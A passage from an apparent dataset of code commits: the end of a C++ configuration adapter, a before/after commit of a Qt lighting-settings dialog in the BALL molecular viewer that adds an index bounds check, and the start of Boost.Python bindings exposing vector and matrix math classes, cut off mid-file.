ServiceInfoHelper(&kServiceInfo).getSupportedServiceNames() ;\n}\n\/\/------------------------------------------------------------------------------\n\nuno::Sequence<rtl::OUString> SAL_CALL\n    SingleBackendAdapter::getSupportedServiceNames(void)\n        throw (uno::RuntimeException)\n{\n    return ServiceInfoHelper(&kServiceInfo).getSupportedServiceNames() ;\n}\n\/\/------------------------------------------------------------------------------\n\n} } \/\/ configmgr.backend\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ -*- Mode: C++; tab-width: 2; -*-\n\/\/ vi: set ts=2:\n\/\/\n\/\/ $Id: lightSettings.C,v 1.18 2005\/02\/15 12:35:51 amoll Exp $\n\/\/\n\n#include <BALL\/VIEW\/DIALOGS\/lightSettings.h>\n#include <BALL\/VIEW\/WIDGETS\/scene.h>\n\n#include <qpushbutton.h>\n#include <qlineedit.h> \n#include <qlistbox.h>\n#include <qlabel.h>\n#include <qbuttongroup.h>\n#include <qradiobutton.h>\n#include <qslider.h>\n\nnamespace BALL\n{\n\tnamespace VIEW\n\t{\n\nLightSettings::LightSettings(QWidget* parent, const char* name, WFlags fl)\n  : LightSettingsData(parent, name, fl),\n\t\tPreferencesEntry(),\n\t\tignore_(false),\n\t\tcurrent_light_(-1)\n{\n\tif (parent == 0 || !RTTI::isKindOf<Scene>(*parent)) \n\t{\n\t\tLog.error() << \"LightSettings dialog must be created with a Scene as parent!\" << std::endl;\n\t\treturn;\n\t}\n\n\tstage_ = (dynamic_cast<Scene*>(parent))->getStage();\n\tif (stage_ == 0) \n\t{\n\t\tLog.error() << \"LightSettings dialog was created with a Scene as parent, which has no Stage!\" << std::endl;\n\t\treturn;\n\t}\n\t\n\trelative_to_camera->setChecked(true);\n\tupdateFromStage();\n\tinsertEntry(this, \"Lighting\");\n}\n\n\nvoid LightSettings::updateFromStage()\n\tthrow()\n{\n\tlights_.clear();\n\tList<LightSource>::ConstIterator it = stage_->getLightSources().begin();\n\tfor (; it != stage_->getLightSources().end(); it++)\n\t{\n\t\tlights_.push_back(*it);\n\t}\n\n\tupdate();\n}\n\n\nvoid LightSettings::update()\n\tthrow()\n{\n\tif (!lights_.size()) \n\t{\n\t\tclearFields_();\n\t\treturn;\n\t}\n\n\tif (lights_.size() != lights_list->count())\n\t{\n\t\tclearFields_();\n\t\n\t\tfor (Position light_nr = 0; light_nr < lights_.size(); light_nr++)\n\t\t{\n\t\t\tlights_list->insertItem((String(\"Light \") + String(light_nr + 1)).c_str());\n\t\t}\n\t}\n\n\tif (getCurrentLightNumber_() == -1)\n\t{\n\t\tignore_ = true;\n\t\tlights_list->setSelected(lights_.size() - 1, true);\n\t\tignore_ = false;\n\t\treturn;\n\t}\n\t\n\tgetValues_();\n\tignore_ = false;\n}\n\n\nvoid LightSettings::addLightPressed()\n{\n\tif (lights_.size() >= 8) return;\n\n\tsaveSettingsToLight_();\n\n\tLightSource light;\n\tlight.setIntensity(0.8);\n\tlight.setType(LightSource::POSITIONAL);\n\n\t\/\/ position light 20 space units behind camera position\n\tconst Camera& camera = stage_->getCamera();\n\tVector3 pos = camera.getViewVector();\n\tpos.normalize();\n\tpos *= -20;\n\tpos += camera.getViewPoint();\n\t\n\t\/\/ create a kind of headlight\n\tVector3 up = camera.getLookUpVector();\n\tup.normalize();\n\tup *= 4;\n \tpos += up;\n\t\n\tlight.setPosition(pos);\n\tlight.setDirection(camera.getViewPoint());\n\n\tlights_.push_back(light);\n\tupdate();\n}\n\n\nvoid LightSettings::colorPressed()\n{\n\tchooseColor(color_sample);\n}\n\n\nvoid LightSettings::defaultsPressed()\n{\n\tlights_.clear();\n\tlights_list->clear();\n\taddLightPressed();\n}\n\n\n\/\/ store settings for last selected light\nvoid LightSettings::saveSettingsToLight_()\n\tthrow()\n{\n\tif (current_light_ == -1) return;\n\n\tLightSource& light = lights_[current_light_];\n\tlight.setColor(color_sample->backgroundColor());\n\n\ttry\n\t{\n\t\tVector3 pos = getPosition_();\n\t\tVector3 dir = getDirection_();\n\t\tbool relative = !not_relative->isChecked();\n\t\tlight.setRelativeToCamera(relative);\n\n\t\t\/\/ position and direction\n\t\tif (relative)\n\t\t{\n\t\t\tpos = stage_->calculateAbsoluteCoordinates(pos);\n\t\t\tdir = stage_->calculateAbsoluteCoordinates(dir);\n\t\t}\n\t\tlight.setPosition(pos);\n\t\tlight.setDirection(dir);\n\n\t\tlight.setIntensity((float)(intensity->value()) \/ 100.0);\n\n\t\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\t\/\/ type of light\n\t\tif (light_type->selected() == ambient)\n\t\t{\n\t\t\tlight.setType(LightSource::AMBIENT);\n\t\t\treturn;\n\t\t}\n\n\t\tif (light_type->selected() == point)\n\t\t{\n\t\t\tlight.setType(LightSource::POSITIONAL);\n\t\t\treturn;\n\t\t}\n\n\t\tlight.setType(LightSource::DIRECTIONAL);\n\n\t}\n\tcatch (Exception::GeneralException e)\n\t{\n\t\tLog.error() << \"Invalid values in LightSettingsDialog\" << std::endl;\n\t\tLog.error() << e;\n\t}\n}\n\t\n\nvoid LightSettings::lightSelected()\n{\n\tif (!ignore_) saveSettingsToLight_();\n\tcurrent_light_ = getCurrentLightNumber_();\n\tgetValues_();\n}\n\n\nvoid LightSettings::removeLightPressed()\n{\n\tIndex current = getCurrentLightNumber_();\n\tif (current == -1) return;\n\n\tvector<LightSource>::iterator it = lights_.begin();\n\tfor (Index i = 0; it != lights_.end() && i < current; it++)\n\t{\n\t\ti++;\n\t}\n\tlights_.erase(it);\n\tupdate();\n}\n\n\nvoid LightSettings::typeSelected()\n{\n\tbool is_ambient = (light_type->selected() == ambient);\n\n\trelative_to_camera->setEnabled(!is_ambient);\n\t      not_relative->setEnabled(!is_ambient);\n\n\tposition_x->setEnabled(!is_ambient);\n\tposition_y->setEnabled(!is_ambient);\n\tposition_z->setEnabled(!is_ambient);\n\n\tdirection_x->setEnabled(!is_ambient);\n\tdirection_y->setEnabled(!is_ambient);\n\tdirection_z->setEnabled(!is_ambient);\n}\n\n\nvoid LightSettings::getValues_()\n\tthrow()\n{\n\tIndex current = getCurrentLightNumber_();\n\tif (current == -1) return;\n\n\tsetControlsEnabled_(true);\n\n\tLightSource& light = lights_[current];\n\n\tcolor_sample->setBackgroundColor(light.getColor().getQColor());\n\n\tVector3 pos = light.getPosition();\n\tVector3 dir = light.getDirection();\n\n\tif (light.isRelativeToCamera())\n\t{\n\t\tpos = stage_->calculateRelativeCoordinates(pos);\n\t\tdir = stage_->calculateRelativeCoordinates(dir);\n\t}\n\n\tsetPosition_(pos);\n\tsetDirection_(dir);\n\n\tbool is_ambient = (light.getType() == LightSource::AMBIENT);\n\t\n\tposition_x->setEnabled(!is_ambient);\n\tposition_y->setEnabled(!is_ambient);\n\tposition_z->setEnabled(!is_ambient);\n\tdirection_x->setEnabled(!is_ambient);\n\tdirection_y->setEnabled(!is_ambient);\n\tdirection_z->setEnabled(!is_ambient);\n\trelative_to_camera->setEnabled(!is_ambient);\n\tnot_relative->setEnabled(!is_ambient);\n\t\n\tif (light.isRelativeToCamera())\n\t{\n\t\trelative->setChecked(true);\n\t}\n\telse\n\t{\n\t\tnot_relative->setChecked(true);\n\t}\n\n\tlight_type->setButton(light.getType());\n\tintensity->setValue((Index)(light.getIntensity() * 100.0));\n}\n\n\nvoid LightSettings::clearFields_()\n\tthrow()\n{\n\tlights_list->clear();\n\tposition_x->clear();\n\tposition_y->clear();\n\tposition_z->clear();\n\tdirection_x->clear();\n\tdirection_y->clear();\n\tdirection_z->clear();\n\tsetControlsEnabled_(false);\n}\n\n\nvoid LightSettings::setControlsEnabled_(bool state)\n{\n\tremove_lights_button->setEnabled(state);\n\tposition_x->setEnabled(state);\n\tposition_y->setEnabled(state);\n\tposition_z->setEnabled(state);\n\tdirection_x->setEnabled(state);\n\tdirection_y->setEnabled(state);\n\tdirection_z->setEnabled(state);\n\tintensity->setEnabled(state);\n\tintensity->setValue(0);\n\tremove_lights_button->setEnabled(state);\n\trelative_to_camera->setEnabled(state);\n\tnot_relative->setEnabled(state);\n\tcolor_button->setEnabled(state);\n\tlight_type->setEnabled(state);\n}\n\nvoid LightSettings::apply()\n\tthrow()\n{\n\tsaveSettingsToLight_();\n\tstage_->clearLightSources();\n\tfor (Position p = 0; p < lights_.size(); p++)\n\t{\n\t\tstage_->addLightSource(lights_[p]);\n\t}\n}\n\n\nvoid LightSettings::intensityChanged()\n{\n\tintensity_label->setText(String(intensity->value()).c_str());\n}\n\n\nvoid LightSettings::setDefaultValues(bool \/*all*\/)\n\tthrow()\n{\n\tdefaultsPressed();\n\tcolor_sample->setBackgroundColor(white);\n\tlights_list->setCurrentItem(0);\n}\n\nvoid LightSettings::positionTypeChanged()\n{\n\tif (getCurrentLightNumber_() == -1 || ignore_) \n\t{\n\t\treturn;\n\t}\n\n\ttry\n\t{\n\t\tVector3 pos = getPosition_();\n\t\tVector3 dir = getDirection_();\n\n\t\tif (relative->isChecked())\n\t\t{\n\t\t\tVector3 diff = dir - pos;\n\t\t\tpos = stage_->calculateRelativeCoordinates(pos);\n\t\t\tdir = stage_->calculateRelativeCoordinates(diff);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tpos = stage_->calculateAbsoluteCoordinates(pos);\n\t\t\tdir = pos +\n\t\t\t\t\t\tstage_->calculateAbsoluteCoordinates(dir);\n\t\t}\n\n\t\tsetPosition_(pos);\n\t\tsetDirection_(dir);\n\t}\n\tcatch(...)\n\t{\n\t}\n}\n\nvoid LightSettings::setPosition_(const Vector3& v)\n{\n\tposition_x->setText(createFloatString(v.x, 1).c_str());\n\tposition_y->setText(createFloatString(v.y, 1).c_str());\n\tposition_z->setText(createFloatString(v.z, 1).c_str());\n}\n\nvoid LightSettings::setDirection_(const Vector3& v)\n{\n\tdirection_x->setText(createFloatString(v.x, 1).c_str());\n\tdirection_y->setText(createFloatString(v.y, 1).c_str());\n\tdirection_z->setText(createFloatString(v.z, 1).c_str());\n}\n\nVector3 LightSettings::getPosition_() \n\tthrow(Exception::InvalidFormat)\n{\n\treturn Vector3(String(position_x->text().ascii()).toFloat(),\n\t\t\t\t \t\t\t   String(position_y->text().ascii()).toFloat(),\n\t\t\t  \t\t\t\t String(position_z->text().ascii()).toFloat());\n}\n\nVector3 LightSettings::getDirection_() \n\tthrow(Exception::InvalidFormat)\n{\n\treturn Vector3(String(direction_x->text().ascii()).toFloat(),\n\t\t\t\t \t\t\t   String(direction_y->text().ascii()).toFloat(),\n\t\t\t  \t\t\t\t String(direction_z->text().ascii()).toFloat());\n}\n\nIndex LightSettings::getCurrentLightNumber_() const\n{\n\treturn lights_list->currentItem();\n}\n\n} } \/\/ NAMESPACE\n<commit_msg>no message<commit_after>\/\/ -*- Mode: C++; tab-width: 2; -*-\n\/\/ vi: set ts=2:\n\/\/\n\/\/ $Id: lightSettings.C,v 1.19 2005\/02\/15 13:34:52 amoll Exp $\n\/\/\n\n#include <BALL\/VIEW\/DIALOGS\/lightSettings.h>\n#include <BALL\/VIEW\/WIDGETS\/scene.h>\n\n#include <qpushbutton.h>\n#include <qlineedit.h> \n#include <qlistbox.h>\n#include <qlabel.h>\n#include <qbuttongroup.h>\n#include <qradiobutton.h>\n#include <qslider.h>\n\nnamespace BALL\n{\n\tnamespace VIEW\n\t{\n\nLightSettings::LightSettings(QWidget* parent, const char* name, WFlags fl)\n  : LightSettingsData(parent, name, fl),\n\t\tPreferencesEntry(),\n\t\tignore_(false),\n\t\tcurrent_light_(-1)\n{\n\tif (parent == 0 || !RTTI::isKindOf<Scene>(*parent)) \n\t{\n\t\tLog.error() << \"LightSettings dialog must be created with a Scene as parent!\" << std::endl;\n\t\treturn;\n\t}\n\n\tstage_ = (dynamic_cast<Scene*>(parent))->getStage();\n\tif (stage_ == 0) \n\t{\n\t\tLog.error() << \"LightSettings dialog was created with a Scene as parent, which has no Stage!\" << std::endl;\n\t\treturn;\n\t}\n\t\n\trelative_to_camera->setChecked(true);\n\tupdateFromStage();\n\tinsertEntry(this, \"Lighting\");\n}\n\n\nvoid LightSettings::updateFromStage()\n\tthrow()\n{\n\tlights_.clear();\n\tList<LightSource>::ConstIterator it = stage_->getLightSources().begin();\n\tfor (; it != stage_->getLightSources().end(); it++)\n\t{\n\t\tlights_.push_back(*it);\n\t}\n\n\tupdate();\n}\n\n\nvoid LightSettings::update()\n\tthrow()\n{\n\tif (!lights_.size()) \n\t{\n\t\tclearFields_();\n\t\treturn;\n\t}\n\n\tif (lights_.size() != lights_list->count())\n\t{\n\t\tclearFields_();\n\t\n\t\tfor (Position light_nr = 0; light_nr < lights_.size(); light_nr++)\n\t\t{\n\t\t\tlights_list->insertItem((String(\"Light \") + String(light_nr + 1)).c_str());\n\t\t}\n\t}\n\n\tif (getCurrentLightNumber_() == -1)\n\t{\n\t\tignore_ = true;\n\t\tlights_list->setSelected(lights_.size() - 1, true);\n\t\tignore_ = false;\n\t\treturn;\n\t}\n\t\n\tgetValues_();\n\tignore_ = false;\n}\n\n\nvoid LightSettings::addLightPressed()\n{\n\tif (lights_.size() >= 8) return;\n\n\tsaveSettingsToLight_();\n\n\tLightSource light;\n\tlight.setIntensity(0.8);\n\tlight.setType(LightSource::POSITIONAL);\n\n\t\/\/ position light 20 space units behind camera position\n\tconst Camera& camera = stage_->getCamera();\n\tVector3 pos = camera.getViewVector();\n\tpos.normalize();\n\tpos *= -20;\n\tpos += camera.getViewPoint();\n\t\n\t\/\/ create a kind of headlight\n\tVector3 up = camera.getLookUpVector();\n\tup.normalize();\n\tup *= 4;\n \tpos += up;\n\t\n\tlight.setPosition(pos);\n\tlight.setDirection(camera.getViewPoint());\n\n\tlights_.push_back(light);\n\tupdate();\n}\n\n\nvoid LightSettings::colorPressed()\n{\n\tchooseColor(color_sample);\n}\n\n\nvoid LightSettings::defaultsPressed()\n{\n\tlights_list->clear();\n\tlights_.clear();\n\taddLightPressed();\n}\n\n\n\/\/ store settings for last selected light\nvoid LightSettings::saveSettingsToLight_()\n\tthrow()\n{\n\tif (current_light_ == -1 ||\n\t\t\tcurrent_light_ >= lights_.size()) return;\n\n\tLightSource& light = lights_[current_light_];\n\tlight.setColor(color_sample->backgroundColor());\n\n\ttry\n\t{\n\t\tVector3 pos = getPosition_();\n\t\tVector3 dir = getDirection_();\n\t\tbool relative = !not_relative->isChecked();\n\t\tlight.setRelativeToCamera(relative);\n\n\t\t\/\/ position and direction\n\t\tif (relative)\n\t\t{\n\t\t\tpos = stage_->calculateAbsoluteCoordinates(pos);\n\t\t\tdir = stage_->calculateAbsoluteCoordinates(dir);\n\t\t}\n\t\tlight.setPosition(pos);\n\t\tlight.setDirection(dir);\n\n\t\tlight.setIntensity((float)(intensity->value()) \/ 100.0);\n\n\t\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\t\/\/ type of light\n\t\tif (light_type->selected() == ambient)\n\t\t{\n\t\t\tlight.setType(LightSource::AMBIENT);\n\t\t\treturn;\n\t\t}\n\n\t\tif (light_type->selected() == point)\n\t\t{\n\t\t\tlight.setType(LightSource::POSITIONAL);\n\t\t\treturn;\n\t\t}\n\n\t\tlight.setType(LightSource::DIRECTIONAL);\n\n\t}\n\tcatch (Exception::GeneralException e)\n\t{\n\t\tLog.error() << \"Invalid values in LightSettingsDialog\" << std::endl;\n\t\tLog.error() << e;\n\t}\n}\n\t\n\nvoid LightSettings::lightSelected()\n{\n\tif (!ignore_) saveSettingsToLight_();\n\tcurrent_light_ = getCurrentLightNumber_();\n\tgetValues_();\n}\n\n\nvoid LightSettings::removeLightPressed()\n{\n\tIndex current = getCurrentLightNumber_();\n\tif (current == -1) return;\n\n\tvector<LightSource>::iterator it = lights_.begin();\n\tfor (Index i = 0; it != lights_.end() && i < current; it++)\n\t{\n\t\ti++;\n\t}\n\tlights_.erase(it);\n\tupdate();\n}\n\n\nvoid LightSettings::typeSelected()\n{\n\tbool is_ambient = (light_type->selected() == ambient);\n\n\trelative_to_camera->setEnabled(!is_ambient);\n\t      not_relative->setEnabled(!is_ambient);\n\n\tposition_x->setEnabled(!is_ambient);\n\tposition_y->setEnabled(!is_ambient);\n\tposition_z->setEnabled(!is_ambient);\n\n\tdirection_x->setEnabled(!is_ambient);\n\tdirection_y->setEnabled(!is_ambient);\n\tdirection_z->setEnabled(!is_ambient);\n}\n\n\nvoid LightSettings::getValues_()\n\tthrow()\n{\n\tIndex current = getCurrentLightNumber_();\n\tif (current == -1) return;\n\n\tsetControlsEnabled_(true);\n\n\tLightSource& light = lights_[current];\n\n\tcolor_sample->setBackgroundColor(light.getColor().getQColor());\n\n\tVector3 pos = light.getPosition();\n\tVector3 dir = light.getDirection();\n\n\tif (light.isRelativeToCamera())\n\t{\n\t\tpos = stage_->calculateRelativeCoordinates(pos);\n\t\tdir = stage_->calculateRelativeCoordinates(dir);\n\t}\n\n\tsetPosition_(pos);\n\tsetDirection_(dir);\n\n\tbool is_ambient = (light.getType() == LightSource::AMBIENT);\n\t\n\tposition_x->setEnabled(!is_ambient);\n\tposition_y->setEnabled(!is_ambient);\n\tposition_z->setEnabled(!is_ambient);\n\tdirection_x->setEnabled(!is_ambient);\n\tdirection_y->setEnabled(!is_ambient);\n\tdirection_z->setEnabled(!is_ambient);\n\trelative_to_camera->setEnabled(!is_ambient);\n\tnot_relative->setEnabled(!is_ambient);\n\t\n\tif (light.isRelativeToCamera())\n\t{\n\t\trelative->setChecked(true);\n\t}\n\telse\n\t{\n\t\tnot_relative->setChecked(true);\n\t}\n\n\tlight_type->setButton(light.getType());\n\tintensity->setValue((Index)(light.getIntensity() * 100.0));\n}\n\n\nvoid LightSettings::clearFields_()\n\tthrow()\n{\n\tlights_list->clear();\n\tposition_x->clear();\n\tposition_y->clear();\n\tposition_z->clear();\n\tdirection_x->clear();\n\tdirection_y->clear();\n\tdirection_z->clear();\n\tsetControlsEnabled_(false);\n}\n\n\nvoid LightSettings::setControlsEnabled_(bool state)\n{\n\tremove_lights_button->setEnabled(state);\n\tposition_x->setEnabled(state);\n\tposition_y->setEnabled(state);\n\tposition_z->setEnabled(state);\n\tdirection_x->setEnabled(state);\n\tdirection_y->setEnabled(state);\n\tdirection_z->setEnabled(state);\n\tintensity->setEnabled(state);\n\tintensity->setValue(0);\n\tremove_lights_button->setEnabled(state);\n\trelative_to_camera->setEnabled(state);\n\tnot_relative->setEnabled(state);\n\tcolor_button->setEnabled(state);\n\tlight_type->setEnabled(state);\n}\n\nvoid LightSettings::apply()\n\tthrow()\n{\n\tsaveSettingsToLight_();\n\tstage_->clearLightSources();\n\tfor (Position p = 0; p < lights_.size(); p++)\n\t{\n\t\tstage_->addLightSource(lights_[p]);\n\t}\n}\n\n\nvoid LightSettings::intensityChanged()\n{\n\tintensity_label->setText(String(intensity->value()).c_str());\n}\n\n\nvoid LightSettings::setDefaultValues(bool \/*all*\/)\n\tthrow()\n{\n\tdefaultsPressed();\n\tcolor_sample->setBackgroundColor(white);\n\tlights_list->setCurrentItem(0);\n}\n\nvoid LightSettings::positionTypeChanged()\n{\n\tif (getCurrentLightNumber_() == -1 || ignore_) \n\t{\n\t\treturn;\n\t}\n\n\ttry\n\t{\n\t\tVector3 pos = getPosition_();\n\t\tVector3 dir = getDirection_();\n\n\t\tif (relative->isChecked())\n\t\t{\n\t\t\tVector3 diff = dir - pos;\n\t\t\tpos = stage_->calculateRelativeCoordinates(pos);\n\t\t\tdir = stage_->calculateRelativeCoordinates(diff);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tpos = stage_->calculateAbsoluteCoordinates(pos);\n\t\t\tdir = pos +\n\t\t\t\t\t\tstage_->calculateAbsoluteCoordinates(dir);\n\t\t}\n\n\t\tsetPosition_(pos);\n\t\tsetDirection_(dir);\n\t}\n\tcatch(...)\n\t{\n\t}\n}\n\nvoid LightSettings::setPosition_(const Vector3& v)\n{\n\tposition_x->setText(createFloatString(v.x, 1).c_str());\n\tposition_y->setText(createFloatString(v.y, 1).c_str());\n\tposition_z->setText(createFloatString(v.z, 1).c_str());\n}\n\nvoid LightSettings::setDirection_(const Vector3& v)\n{\n\tdirection_x->setText(createFloatString(v.x, 1).c_str());\n\tdirection_y->setText(createFloatString(v.y, 1).c_str());\n\tdirection_z->setText(createFloatString(v.z, 1).c_str());\n}\n\nVector3 LightSettings::getPosition_() \n\tthrow(Exception::InvalidFormat)\n{\n\treturn Vector3(String(position_x->text().ascii()).toFloat(),\n\t\t\t\t \t\t\t   String(position_y->text().ascii()).toFloat(),\n\t\t\t  \t\t\t\t String(position_z->text().ascii()).toFloat());\n}\n\nVector3 LightSettings::getDirection_() \n\tthrow(Exception::InvalidFormat)\n{\n\treturn Vector3(String(direction_x->text().ascii()).toFloat(),\n\t\t\t\t \t\t\t   String(direction_y->text().ascii()).toFloat(),\n\t\t\t  \t\t\t\t String(direction_z->text().ascii()).toFloat());\n}\n\nIndex LightSettings::getCurrentLightNumber_() const\n{\n\treturn lights_list->currentItem();\n}\n\n} } \/\/ NAMESPACE\n<|endoftext|>"}
{"text":"<commit_before>#include \"script\/python\/MathModule.h\"\n#include \"math\/Vector.h\"\n#include \"math\/Matrix.h\"\n#include \"math\/Quaternion.h\"\n#include \"math\/Rotation.h\"\n\n\n\/\/ Vector2 Python Helper Functions\nvoid vector2_setitem(Vector2& v, int index, float value)\n{\n\tint MAX = 2;\n\tif ( index < 0 ) \n\t\tindex += MAX;\n    if (index >= 0 && index < MAX) {\n        v[index] = value;\n    }\n    else {\n        PyErr_SetString(PyExc_IndexError, \"index out of range\");\n        throw_error_already_set();\n    }\n}\n\nfloat vector2_getitem(Vector2&v, int index)\n{\n\tint MAX = 2;\n\tif ( index < 0 ) \n\t\tindex += MAX;\n    if (index >= 0 && index < MAX) {\n        return v[index];\n    }\n    else {\n        PyErr_SetString(PyExc_IndexError, \"index out of range\");\n        throw_error_already_set();\n    }\n}\n\n\/\/ Vector3 Python Helper Functions\nvoid vector3_setitem(Vector3& v, int index, float value)\n{\n\tint MAX = 3;\n\tif ( index < 0 ) \n\t\tindex += MAX;\n    if (index >= 0 && index < MAX) {\n        v[index] = value;\n    }\n    else {\n        PyErr_SetString(PyExc_IndexError, \"index out of range\");\n        throw_error_already_set();\n    }\n}\n\nfloat vector3_getitem(Vector3&v, int index)\n{\n\tint MAX = 3;\n\tif ( index < 0 ) \n\t\tindex += MAX;\n    if (index >= 0 && index < MAX) {\n        return v[index];\n    }\n    else {\n        PyErr_SetString(PyExc_IndexError, \"index out of range\");\n        throw_error_already_set();\n    }\n}\n\n\/\/ Vector4 Python Helper Functions\nvoid vector4_setitem(Vector4& v, int index, float value)\n{\n\tint MAX = 4;\n\tif ( index < 0 ) \n\t\tindex += MAX;\n    if (index >= 0 && index < MAX) {\n        v[index] = value;\n    }\n    else {\n        PyErr_SetString(PyExc_IndexError, \"index out of range\");\n        throw_error_already_set();\n    }\n}\n\nfloat vector4_getitem(Vector4&v, int index)\n{\n\tint MAX = 4;\n\tif ( index < 0 ) \n\t\tindex += MAX;\n    if (index >= 0 && index < MAX) {\n        return v[index];\n    }\n    else {\n        PyErr_SetString(PyExc_IndexError, \"index out of range\");\n        throw_error_already_set();\n    }\n}\n\n\/\/ Matrix3 Python Helper Functions\nvoid matrix3_setitem(Matrix3& v, int index, float value)\n{\n\tint MAX = 9;\n\tif ( index < 0 ) \n\t\tindex += MAX;\n    if (index >= 0 && index < MAX) {\n        v[index] = value;\n    }\n    else {\n        PyErr_SetString(PyExc_IndexError, \"index out of range\");\n        throw_error_already_set();\n    }\n}\n\nfloat matrix3_getitem(Matrix3&v, int index)\n{\n\tint MAX = 9;\n\tif ( index < 0 ) \n\t\tindex += MAX;\n    if (index >= 0 && index < MAX) {\n        return v[index];\n    }\n    else {\n        PyErr_SetString(PyExc_IndexError, \"index out of range\");\n        throw_error_already_set();\n    }\n}\n\n\/\/ Matrix4 Python Helper Functions\nvoid matrix4_setitem(Matrix4& v, int index, float value)\n{\n\tint MAX = 16;\n\tif ( index < 0 ) \n\t\tindex += MAX;\n    if (index >= 0 && index < MAX) {\n        v[index] = value;\n    }\n    else {\n        PyErr_SetString(PyExc_IndexError, \"index out of range\");\n        throw_error_already_set();\n    }\n}\n\nfloat matrix4_getitem(Matrix4&v, int index)\n{\n\tint MAX = 16;\n\tif ( index < 0 ) \n\t\tindex += MAX;\n    if (index >= 0 && index < MAX) {\n        return v[index];\n    }\n    else {\n        PyErr_SetString(PyExc_IndexError, \"index out of range\");\n        throw_error_already_set();\n    }\n}\n\n\/\/ Quaternion function wrappers\n\nQuaternion (Quaternion::*RotateAxisVF)(Vector3,float) = &Quaternion::RotateAxis;\nQuaternion (Quaternion::*RotateAxisAA)(AxisAngle) = &Quaternion::RotateAxis;\nQuaternion (Quaternion::*RotateEulerFFF)(float,float,float) = &Quaternion::RotateEuler;\nQuaternion (Quaternion::*RotateEulerE)(Euler) = &Quaternion::RotateEuler;\n\n\/\/ Expose Math Classes to Python\nvoid initMath()\n{\n\t\/\/ make math package\n\tobject mathModule( handle<>( borrowed( PyImport_AddModule(\"epsilon.math\") ) ) );\n\tscope().attr(\"math\") = mathModule;\n\n\tscope mathScope = mathModule;\n\n\tclass_<Vector2>(\"Vector2\", init< optional<float> >())\n\t\t\t.def(init<Vector2>())\n\t\t\t.def(init<float,float>())\n\t\n\t\t.def_readwrite(\"x\", &Vector2::x)\n\t\t.def_readwrite(\"y\", &Vector2::y)\n\n\t\t.def(\"__str__\", &Vector2::ToString)\n\t\t\n\t\t.def(\"__getitem__\", &vector2_getitem)\n\t\t.def(\"__setitem__\", &vector2_setitem)\n\t\t\n\t\t.def(self == self)\n\t\t.def(self != self)\n\n\t\t.def(self + self)\n\t\t.def(self - self)\n\t\t\n\t\t.def(self * self)\n\n\t\t.def(self * float())\n\t\t.def(float() * self)\n\t\t.def(self \/ float())\n\n\t\t.def(self += self)\n\t\t.def(self -= self)\n\t\t.def(self \/= float())\n\t\t\n\t\t.def(\"length\",&Vector2::Length)\n\t\t.def(\"length_squared\", &Vector2::LengthSquared)\n\t\t.def(\"dot\", &Vector2::Dot)\n\t\t.def(\"normalise\", &Vector2::Normalise)\n\t\t.def(\"normalised\", &Vector2::Normalised)\n\n\t\t.def(\"cross\", &Vector2::Cross)\n\t\t.def(\"reflect\", &Vector2::Reflect)\n\t\t.def(\"angle\", &Vector2::Angle)\n\t\t.def(\"project\", &Vector2::Project)\n\n\t\t.def(\"compute_extremes\", &Vector2::ComputeExtremes, return_value_policy<manage_new_object>())\n\t\t;\n\n\tclass_<Vector3>(\"Vector3\", init< optional<float> >())\n\t\t\t.def(init<Vector3>())\n\t\t\t.def(init<float,float,float>())\n\t\n\t\t.def_readwrite(\"x\", &Vector3::x)\n\t\t.def_readwrite(\"y\", &Vector3::y)\n\t\t.def_readwrite(\"z\", &Vector3::z)\n\n\t\t.def(\"__str__\", &Vector3::ToString)\n\t\t\n\t\t.def(\"__getitem__\", &vector3_getitem)\n\t\t.def(\"__setitem__\", &vector3_setitem)\n\t\t\n\t\t.def(self == self)\n\t\t.def(self != self)\n\n\t\t.def(self + self)\n\t\t.def(self - self)\n\t\t\n\t\t.def(self * self)\n\n\t\t.def(self * float())\n\t\t.def(float() * self)\n\t\t.def(self \/ float())\n\n\t\t.def(self += self)\n\t\t.def(self -= self)\n\t\t.def(self \/= float())\n\t\t\n\t\t.def(\"length\",&Vector3::Length)\n\t\t.def(\"length_squared\", &Vector3::LengthSquared)\n\t\t.def(\"dot\", &Vector3::Dot)\n\t\t.def(\"normalise\", &Vector3::Normalise)\n\t\t.def(\"normalised\", &Vector3::Normalised)\n\n\t\t.def(\"cross\", &Vector3::Cross)\n\t\t.def(\"unit_cross\", &Vector3::UnitCross)\n\t\t.def(\"reflect\", &Vector3::Reflect)\n\t\t.def(\"rotate_around\", &Vector3::RotateAround)\n\t\t.def(\"distance\", &Vector3::Distance)\n\t\t.def(\"angle\", &Vector3::Angle)\n\t\t.def(\"project\", &Vector3::Project)\n\n\t\t.def(\"compute_extremes\", &Vector3::ComputeExtremes, return_value_policy<manage_new_object>())\n\n\t\t.def_readonly(\"UP\", Vector3::UP)\n\t\t.def_readonly(\"RIGHT\", &Vector3::RIGHT)\n\t\t.def_readonly(\"FORWARD\", &Vector3::FORWARD)\n\t\t.def_readonly(\"DOWN\", &Vector3::DOWN)\n\t\t.def_readonly(\"LEFT\", &Vector3::LEFT)\n\t\t.def_readonly(\"BACKWARD\", &Vector3::BACKWARD)\n\n\t\t.def_readonly(\"ZERO\", &Vector3::ZERO)\n\t\t.def_readonly(\"ONE\", &Vector3::ONE)\n\t\t.def_readonly(\"IDENTITY\", &Vector3::IDENTITY)\n\n\t\t.def_readonly(\"UNIT_Z\", &Vector3::UNIT_Z)\n\t\t.def_readonly(\"UNIT_Y\", &Vector3::UNIT_Y)\n\t\t.def_readonly(\"UNIT_X\", &Vector3::UNIT_X)\n\t\t;\n\n\tclass_<Vector4>(\"Vector4\", init< optional<float> >())\n\t\t\t.def(init<Vector4>())\n\t\t\t.def(init<float,float,float,float>())\n\t\n\t\t.def_readwrite(\"x\", &Vector4::x)\n\t\t.def_readwrite(\"y\", &Vector4::y)\n\t\t.def_readwrite(\"z\", &Vector4::z)\n\t\t.def_readwrite(\"w\", &Vector4::w)\n\n\t\t.def(\"__str__\", &Vector4::ToString)\n\t\t\n\t\t.def(\"__getitem__\", &vector4_getitem)\n\t\t.def(\"__setitem__\", 